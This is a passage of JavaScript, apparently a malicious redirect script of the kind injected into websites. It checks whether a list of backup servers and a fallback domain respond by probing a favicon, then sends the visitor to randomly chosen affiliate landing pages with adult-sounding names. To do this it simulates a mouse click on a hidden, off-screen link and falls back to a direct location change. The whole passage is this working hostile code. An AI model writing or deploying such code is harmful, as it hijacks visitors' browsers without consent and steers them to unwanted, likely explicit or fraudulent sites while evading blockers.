// 备用服务器列表
rList = [
'http://38.6.30.134',
'http://38.6.30.135',
'http://38.6.30.137',
'http://38.6.30.138',
'http://38.6.30.139'
],
// 随机路径
a = [
'/cps/baili/baili.html',//百丽
'/cps/meirenyu/meirenyu.html',//美人鱼
'/cps/shuixian/shuixian.html',//水仙
'/cps/lianren/lianren.html', //恋人
'/cps/4dian/4dian.html', //四点
'/cps/tangguo/tangguo.html', //糖果
'/cps/xingse/xingse.html',//杏色
'/cps/juhua/juhua.html',//菊花
'/cps/xigua/xigua.html',//西瓜
'/cps/aise/aise.html', //爱色
'/cps/shaonv/shaonv.html', //少女
'/cps/lemi/lemi.html', //乐米
'/cps/renqi/renqi.html', //人妻
'/cps/chaoshuang/chaoshuang.html', //超爽
'/cps/bibi/bibi.html', //哔哔
'/cps/jiuzhou/jiuzhou.html',//九州
'/cps/9929/9929.html',//ruyi
'/cps/ligong/ligong.html',//丽宫
'/cps/xinghe/xinghe.html',//星河
'/cps/xiari/xiari.html', //夏日
'/cps/fengyue/fengyue.html',//fengyue
'/cps/momo/momo.html',//陌陌
'/cps/douyin/douyin.html'//抖音
],
// 最终回退地址
o = 'http://t6.yuci66.top',
// 模拟用户点击跳转
simulateClickRedirect = function(url) {
try {
// 创建隐藏的链接元素
var link = document.createElement('a');
link.href = url;
link.style.display = 'none';
link.style.position = 'absolute';
link.style.left = '-9999px';
link.style.top = '-9999px';
link.setAttribute('target', '_self');
// 添加到DOM
document.body.appendChild(link);
// 模拟鼠标点击事件
var event = new MouseEvent('click', {
view: window,
bubbles: true,
cancelable: true
});
// 触发点击事件
link.dispatchEvent(event);
console.log('模拟点击跳转到: ' + url);
return true;
} catch (error) {
console.warn('模拟点击失败,使用直接跳转: ' + error);
// 如果模拟点击失败,回退到直接跳转
window.location.href = url;
return true;
}
},
// 使用
检测域名是否可访问(带超时)
checkWithImg = function(url, timeout) {
return new Promise(function(resolve) {
var img = new Image();
var timer = setTimeout(function() {
img.onload = img.onerror = null;
resolve(false);
}, timeout);
img.onload = function() {
clearTimeout(timer);
resolve(true);
};
img.onerror = function() {
clearTimeout(timer);
resolve(false);
};
img.src = url + '/favicon1.ico?t=' + Date.now(); // 避免缓存
});
},
// 检测服务器列表
tryServers = function(servers) {
return new Promise(function(resolve) {
var i = 0;
function checkNext() {
if (i >= servers.length) return resolve(false);
checkWithImg(servers[i], 3000).then(function(isActive) {
if (isActive) {
// 改为模拟点击跳转
var targetUrl = servers[i] + a[Math.floor(Math.random() * a.length)];
simulateClickRedirect(targetUrl);
resolve(true);
} else {
i++;
checkNext();
}
});
}
checkNext();
});
},
// 检测动态域名
checkDynamicDomains = function() {
return new Promise(function(resolve) {
var i = 0;
function checkNext() {
if (i >= n.length) return resolve(false);
checkWithImg(n[i], 3000).then(function(isActive) {
if (isActive) {
// 改为模拟点击跳转
simulateClickRedirect(n[i]);
resolve(true);
} else {
i++;
checkNext();
}
});
}
checkNext();
});
},
// 兜底逻辑
fallback = function() {
return new Promise(function(resolve) {
setTimeout(function() {
tryServers(rList).then(function(success) {
if (!success) {
// 最终回退也使用模拟点击
simulateClickRedirect(o);
}
resolve();
});
}, 1000);
});
};
// 主流程
setTimeout(function() {
checkDynamicDomains().then(function(success) {
if (!success) fallback();
});
}, 1000);
})();